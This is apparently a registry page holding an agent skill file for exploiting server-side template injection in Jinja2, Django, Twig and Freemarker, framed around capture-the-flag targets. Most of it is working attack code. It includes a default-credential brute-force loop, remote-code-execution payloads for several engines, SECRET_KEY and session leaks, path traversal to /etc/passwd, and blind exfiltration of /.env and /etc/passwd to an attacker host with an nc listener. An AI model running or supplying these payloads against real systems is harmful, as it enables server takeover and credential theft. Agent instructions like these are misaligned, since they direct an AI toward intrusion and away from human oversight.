Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.
64
77%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.mdExploits template engines that render user input, achieving RCE by injecting template directives.
default_credentials is a co-tag)When default_credentials appears alongside ssti in the challenge tags, attempt login FIRST before any template injection probing:
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
doneA valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.
# Polyglot detection string
curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt
# Math-based detection
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49' # Jinja2/Twig
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49' # Freemarker/EL
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49' # Ruby ERB/Thymeleaf
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat)# Confirm Jinja2
curl -s 'https://<TARGET>/page?input={{config}}'
# RCE via MRO chain
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}'
curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt
# Common RCE payloads
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# {{cycler.__init__.__globals__.os.popen('id').read()}}When the target is Django (not Flask/Jinja2) and a view passes user-controlled string into Engine.get_default().from_string(...).render(Context(...)), the exploitation surface is fundamentally different from Jinja2.
Identify Django (vs Flask/Jinja2):
# Response header tells: Django sets X-Frame-Options: DENY by default
curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django'
# CSRF cookie name: csrftoken (Django) vs session (Flask)
# HTML contains: name="csrfmiddlewaretoken" inputs
curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token'
# Admin route exists
curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/" # 200/302 → Django
# Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises
curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken'Critical: Django templates DO NOT expose Jinja2 MRO shortcuts. The following will NOT work:
{{request.application.__globals__}} — Django has no application{{cycler.__init__.__globals__}} — cycler is a tag, not a builtin{{"".__class__.__mro__[1].__subclasses__()}} — Django blocks _-prefixed attribute access in templates (TemplateSyntaxError or silent empty){% load os %} — Django filters {% load %} to registered apps; arbitrary module load deniedDjango template language is restricted to: variable lookup ({{var}}), filter pipes ({{v|upper}}), and registered tags ({% if %}…{% endif %}, {% csrf_token %}, {% include %}).
Productive paths for engine.from_string SSTI:
# 1. Settings leak (works when 'django.template.context_processors.debug' or
# a custom processor injects `settings` into context)
curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}"
curl -s "http://<TARGET>/page?input={{settings.DATABASES}}"
curl -s "http://<TARGET>/page?input={{settings.DEBUG}}"
curl -s "http://<TARGET>/page?input={{settings|pprint}}"
# 2. Request / session / META leak (when `request` is in the context)
curl -s "http://<TARGET>/page?input={{request.session.items}}"
curl -s "http://<TARGET>/page?input={{request.session.flag}}"
curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}"
curl -s "http://<TARGET>/page?input={{request.user.is_staff}}"
curl -s "http://<TARGET>/page?input={{request.environ}}"
# 3. {% include %} path traversal (when an attacker-controlled path reaches include)
curl -s "http://<TARGET>/page?input={%25+include+%22../../../etc/passwd%22+%25}"
# 4. Placeholder-replace pattern (`template_str.replace('PLACEHOLDER', user_input)`)
# Server template: "Hello PLACEHOLDER!" → Payload: {{ request.session.flag }}
# Rendered: "Hello <session-flag-value>!"
curl -s --data-urlencode 'input={{ request.session.flag }}' "http://<TARGET>/render"
curl -s --data-urlencode 'input={{ settings.SECRET_KEY }}' "http://<TARGET>/render"
curl -s --data-urlencode 'input={{ request.user.username }}' "http://<TARGET>/render"
# 5. messages framework signer key — leaks SECRET_KEY via context-processor object chain
# Works when:
# - The django.contrib.messages context processor is active (default in startproject)
# - {% %} tag syntax is filtered/blocked but {{ }} expressions still evaluate
# - settings is NOT in template context (the common `{{ settings.SECRET_KEY }}` returns empty)
# Mechanism: CookieStorage.signer is a TimestampSigner whose .key attribute is
# `b'django.http.cookies' + SECRET_KEY`. Pure dot-traversal — no underscore-prefixed
# attribute access, no filter bypass needed.
curl -s --data-urlencode 'input={{ messages.storages.0.signer.key }}' "http://<TARGET>/render"
# Strip the constant prefix `django.http.cookies` from the response to recover SECRET_KEY.
# When SECRET_KEY itself contains the flag (apps that read flag.txt into SECRET_KEY at boot),
# this single probe is the entire exploit.RCE realism: Django SSTI rarely reaches RCE via the template language alone — SafeString/Variable resolution blocks _-prefixed traversal, and only registered template tags load. The realistic Django SSTI yield is information disclosure (settings, session, request context). RCE generally requires either a custom unsafe filter/tag already registered, or the engine built with Engine(builtins=['unsafe_module']) — uncommon.
Context-processor traversal map (when {{ settings.* }} returns empty — settings not in context — enumerate the rest of the context processors before pivoting to auth-required paths):
| Context object | Source processor | Useful disclosure |
|---|---|---|
messages.storages.0.signer.key | django.contrib.messages.context_processors.messages | b'django.http.cookies' + SECRET_KEY |
request.session.* | django.template.context_processors.request | session keys / per-user secrets |
request.user.* | django.contrib.auth.context_processors.auth | username, email, is_staff, password hash |
perms.* | django.contrib.auth.context_processors.auth | permission set (informational) |
csrf_token | django.template.context_processors.csrf | per-session CSRF token (TimestampSigner-derived) |
3-strike pivot: After 3 probes against {{settings.*}} / {{request.session.*}} / {{request.META.*}} AND the full Context-processor traversal map above return empty or unchanged template, pivot to the default_credentials skill to obtain admin auth, then hit /admin/ and search admin-only models / login-required views for the flag. Do not loop more SSTI variants past 3 negative probes after exhausting the context-processor map.
# Confirm Twig
curl -s 'https://<TARGET>/page?input={{_self.env.display("id")}}'
# RCE payloads
# Twig 1.x:
# {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Twig 3.x:
# {{['id']|filter('system')}}
# {{['id']|map('system')}}
curl -s "https://<TARGET>/page?input={{['id']|filter('system')}}" -o ssti_twig_rce.txtMulti-surface rendering rule (MANDATORY for stored-input apps).
When the target has CRUD endpoints (add/edit/list/search/detail/export), template injection often evaluates on ONLY ONE of the rendering surfaces — typically the detail/show page or an admin/export view — even when the same value is displayed as literal text on the list/search results. Seeing {{7*7}} reflected literally on one page does NOT prove templates are inactive — it proves THAT particular surface is not template-rendered.
Test EVERY rendering surface before concluding SSTI is unavailable:
# 1. STORE the probe — submit {{7*7}} into a persisted field (name, description, comment, tag)
curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}'
NEW_ID="<extract from redirect or list>"
# 2. PROBE each rendering surface — the one that evaluates wins
for path in /list /search?q={{7*7}} /detail/${NEW_ID} /edit/${NEW_ID} /export /admin/${RESOURCE} /api/${RESOURCE}/${NEW_ID}; do
echo "=== ${path} ==="
curl -s "http://<TARGET>${path}" -o /tmp/render_${path//\//_}.txt
# 49/50 → evaluated → THIS surface is the SSTI sink
grep -E "^[^<]*(49|50)([^0-9]|$)" /tmp/render_${path//\//_}.txt | head -3
doneTwig sandbox is per-loader, not global. A page that shows Sandbox mode: Enabled does NOT mean every Twig context is sandboxed. Stored-data rendering (typically Twig\Environment instances initialized for content/email/PDF) is commonly unsandboxed even when the index template is. Test each surface independently before dismissing SSTI.
Twig sandbox-bypass payloads (when one specific endpoint IS sandboxed but RCE primitives like system/filter are not whitelisted):
# Twig 1.x — register undefined filter callback to call arbitrary PHP function
curl -s 'http://<TARGET>/page?input={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}'
# Twig 2.x/3.x — use map/filter with system
curl -s 'http://<TARGET>/page?input={{["id"]|map("system")|join}}'
# Class-injection gadget (when filters blocked)
curl -s 'http://<TARGET>/page?input={{_self.env.setCache("ftp://attacker/")}}{{_self.env.loadTemplate("backdoor")}}'3-strike Twig pivot rule: If 3 probes against the same field show stored-but-literal output (e.g. {{7*7}} appears as {{7*7}} not 49), STOP iterating that field. The bypass is a different rendering surface OR a different field on the same surface — not a deeper payload on the same dead field.
# Confirm Freemarker
curl -s 'https://<TARGET>/page?input=${7*7}'
# RCE payloads
# <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# ${"freemarker.template.utility.Execute"?new()("id")}
curl -s 'https://<TARGET>/page?input=<#assign+ex="freemarker.template.utility.Execute"?new()>${ex("id")}' -o ssti_freemarker_rce.txtWhen the challenge name contains "Blind" or SSTI payloads produce no visible output change, the template is rendered server-side but results are not echoed. Use out-of-band or side-channel techniques:
# Time-based oracle (Jinja2) — confirms SSTI without reflection
# If SLEEP(5) causes a 5s delay, SSTI is present
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[<N>](['sleep','5'],stdout=-1).communicate()}}" --max-time 10 -w '\nTime: %{time_total}s\n' -o /tmp/ssti_time.txt
# Simpler time delay via Jinja2 config globals
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].system('sleep 5')}}" --max-time 10 -w '\nTime: %{time_total}s\n'
# Out-of-band: write sensitive file to a readable path, then fetch it
# Step 1: exfiltrate target file to /tmp/out via RCE (replace /.env with discovered path)
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('cat /.env > /tmp/env_out').read()}}"
# Step 2: read via LFI or a file-serving endpoint if available
curl -s "http://<TARGET>/static/../tmp/env_out"
curl -s "http://<TARGET>/download?file=../tmp/env_out"
# Alternative: write to web root if writable
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('cp /.env /app/static/f.txt').read()}}"
curl -s "http://<TARGET>/static/f.txt"Decision flow for blind SSTI:
curl http://<ATTACKER>:PORT/?f=$(cat /.env | base64)) — set up listener first with nc -lvnp <PORT> &When direct RCE payloads are sandboxed, enumerate subclasses to find a Popen-capable class:
# Step 1: enumerate all subclasses (save to file — output can be large)
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()}}" \
-o /tmp/subclasses.txt
# Count classes and find Popen
grep -o "subprocess.Popen\|<class '" /tmp/subclasses.txt | wc -l
python3 -c "
import re, sys
data = open('/tmp/subclasses.txt').read()
classes = re.findall(r\"<class '([^']+)'\", data)
for i,c in enumerate(classes):
if 'Popen' in c or 'process' in c.lower():
print(i, c)
"
# Step 2: use the index to call Popen (common indices: 200-280 in py3.10+, 132-200 in py3.8)
# Try index 245 first, adjust based on Step 1
INDEX=245
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('id',shell=True,stdout=-1).communicate()[0]}}" \
-o /tmp/ssti_rce.txt
grep -v '^$' /tmp/ssti_rce.txt | head -5If output channel is blocked (blind SSTI, no reflection):
# Write to web-accessible path then fetch
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('cat /etc/passwd > /tmp/out.txt',shell=True,stdout=-1).communicate()}}"
curl -s "http://<TARGET>/static/../tmp/out.txt"
# Or OOB via HTTP callback — start listener first: nc -lvnp 9999 &
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('curl http://<ATTACKER>:9999/?d=\$(cat /etc/passwd|base64 -w0)',shell=True,stdout=-1).communicate()}}"Alternative globals-based RCE (no subclass enumeration needed):
# Flask globals shortcut — works when request context is available
curl -s "http://<TARGET>/page?input={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
curl -s "http://<TARGET>/page?input={{cycler.__init__.__globals__.os.popen('id').read()}}"
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"When template output is suppressed but the server returns HTTP 500 on invalid template syntax, use error-status as a boolean oracle — no reflection required.
TARGET_URL="http://<TARGET>/page?input="
# Calibration: confirm 500 on syntax error vs 200 on valid input
curl -s -o /dev/null -w '%{http_code}' "${TARGET_URL}{{invalid_syntax_xyz_$RANDOM}}" # expect 500
curl -s -o /dev/null -w '%{http_code}' "${TARGET_URL}hello" # expect 200
# Boolean extraction via arithmetic that only evaluates on true branch
# If condition is TRUE → valid template → 200
# If condition is FALSE → raises TemplateSyntaxError / division-by-zero → 500
for pos in $(seq 1 32); do
for ascii in $(seq 32 126); do
code=$(curl -s -o /dev/null -w '%{http_code}' \
"${TARGET_URL}{% if (secret[${pos}-1]|int)==${ascii} %}ok{% endif %}")
if [ "$code" = "200" ]; then
printf "\\x$(printf '%02x' $ascii)"
break
fi
done
done
echo # newline after extracted stringDecision rule:
| Probe | Result | Engine |
|---|---|---|
{{7*7}} | 49 | Jinja2 or Twig |
{{7*'7'}} | 7777777 | Jinja2 |
{{7*'7'}} | 49 | Twig |
${7*7} | 49 | Freemarker or EL |
#{7*7} | 49 | Thymeleaf or Ruby ERB |
<%= 7*7 %> | 49 | ERB (Ruby) |
@(1+1) | 2 | Razor (.NET) |
0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.